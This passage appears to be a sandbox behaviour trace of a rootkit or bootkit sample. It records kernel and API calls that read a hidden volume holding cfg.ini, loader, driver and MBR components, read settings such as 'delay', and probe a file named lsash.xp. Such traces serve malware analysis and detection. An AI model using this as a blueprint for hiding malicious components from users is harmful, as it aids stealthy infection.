IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.891] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.891] KeEnterCriticalRegion () [0120.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.891] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.891] KeLeaveCriticalRegion () [0120.891] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.891] KeEnterCriticalRegion () [0120.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.892] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.892] IdePortDispatch () returned 0x103 [0120.892] KeWaitForMutexObject () returned 0x0 [0120.892] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.892] KeLeaveCriticalRegion () [0120.892] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.892] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.892] KeEnterCriticalRegion () [0120.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.892] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351c000 [0120.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.892] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.892] IdePortDispatch () returned 0x103 [0120.892] KeWaitForMutexObject () returned 0x0 [0120.892] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.892] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.892] IdePortDispatch () returned 0x103 [0120.892] KeWaitForMutexObject () returned 0x0 [0120.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.893] KeLeaveCriticalRegion () [0120.893] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.893] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.893] KeEnterCriticalRegion () [0120.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.893] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.893] KeLeaveCriticalRegion () [0120.893] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.893] KeEnterCriticalRegion () [0120.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.893] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.893] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.893] KeLeaveCriticalRegion () [0120.893] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.893] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.893] KeEnterCriticalRegion () [0120.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.893] ExFreePoolWithTag (P=0xfffffa8003bbd850, Tag=0x0) [0120.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.894] KeLeaveCriticalRegion () [0120.894] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.894] ReleaseMutex (hMutex=0xf0) returned 1 [0120.894] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.894] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.894] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.894] KeEnterCriticalRegion () [0120.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.894] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.894] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.894] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.894] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.894] IdePortDispatch () returned 0x103 [0120.894] KeWaitForMutexObject () returned 0x0 [0120.894] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.894] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.894] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.894] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.894] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.894] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd1a0 [0120.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.894] KeLeaveCriticalRegion () [0120.894] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.894] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.894] KeEnterCriticalRegion () [0120.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.894] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.894] KeLeaveCriticalRegion () [0120.894] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.894] KeEnterCriticalRegion () [0120.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.894] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.894] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.894] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.894] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.894] IdePortDispatch () returned 0x103 [0120.895] KeWaitForMutexObject () returned 0x0 [0120.895] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.895] KeLeaveCriticalRegion () [0120.895] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.895] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.895] KeEnterCriticalRegion () [0120.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.895] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351d000 [0120.895] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.895] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.895] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.895] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.895] IdePortDispatch () returned 0x103 [0120.895] KeWaitForMutexObject () returned 0x0 [0120.895] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.895] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.895] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.895] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.895] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.895] IdePortDispatch () returned 0x103 [0120.895] KeWaitForMutexObject () returned 0x0 [0120.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.895] KeLeaveCriticalRegion () [0120.896] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.896] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.896] KeEnterCriticalRegion () [0120.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.896] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.896] KeLeaveCriticalRegion () [0120.896] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.896] KeEnterCriticalRegion () [0120.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.896] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.896] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.896] KeLeaveCriticalRegion () [0120.896] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.896] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.896] KeEnterCriticalRegion () [0120.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.896] ExFreePoolWithTag (P=0xfffffa8003bbd1a0, Tag=0x0) [0120.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.896] KeLeaveCriticalRegion () [0120.896] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.896] ReleaseMutex (hMutex=0xf0) returned 1 [0120.896] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.896] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.896] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.897] KeEnterCriticalRegion () [0120.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.897] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.897] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.897] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.897] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.897] IdePortDispatch () returned 0x103 [0120.897] KeWaitForMutexObject () returned 0x0 [0120.897] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.897] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.897] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.897] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.897] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.897] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbef60 [0120.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.897] KeLeaveCriticalRegion () [0120.897] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.897] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.897] KeEnterCriticalRegion () [0120.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.897] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.897] KeLeaveCriticalRegion () [0120.897] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.897] KeEnterCriticalRegion () [0120.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.897] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.897] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.897] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.897] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.897] IdePortDispatch () returned 0x103 [0120.897] KeWaitForMutexObject () returned 0x0 [0120.898] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.898] KeLeaveCriticalRegion () [0120.898] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.898] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.898] KeEnterCriticalRegion () [0120.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.898] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351e000 [0120.898] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.898] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.898] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.898] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.898] IdePortDispatch () returned 0x103 [0120.898] KeWaitForMutexObject () returned 0x0 [0120.898] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.898] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.898] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.898] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.898] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.898] IdePortDispatch () returned 0x103 [0120.898] KeWaitForMutexObject () returned 0x0 [0120.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.898] KeLeaveCriticalRegion () [0120.898] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.899] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.899] KeEnterCriticalRegion () [0120.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.899] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.899] KeLeaveCriticalRegion () [0120.899] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.899] KeEnterCriticalRegion () [0120.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.899] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.899] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.899] KeLeaveCriticalRegion () [0120.899] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.899] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.899] KeEnterCriticalRegion () [0120.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.899] ExFreePoolWithTag (P=0xfffffa8003bbef60, Tag=0x0) [0120.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.899] KeLeaveCriticalRegion () [0120.899] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.899] ReleaseMutex (hMutex=0xf0) returned 1 [0120.899] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.899] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.899] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.899] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.899] KeEnterCriticalRegion () [0120.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.899] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.899] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.899] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.899] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.899] IdePortDispatch () returned 0x103 [0120.900] KeWaitForMutexObject () returned 0x0 [0120.900] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.900] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.900] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.900] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.900] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.900] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.900] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.900] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.900] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.900] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.900] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.900] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.900] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.900] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.900] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.900] KeLeaveCriticalRegion () [0120.900] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.900] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.900] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.900] KeEnterCriticalRegion () [0120.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.900] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.900] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.900] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.900] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.900] IdePortDispatch () returned 0x103 [0120.900] KeWaitForMutexObject () returned 0x0 [0120.900] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.900] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.900] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.900] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.901] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.901] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.901] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.901] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.901] _strnicmp (_Str1="cmd64.dll", 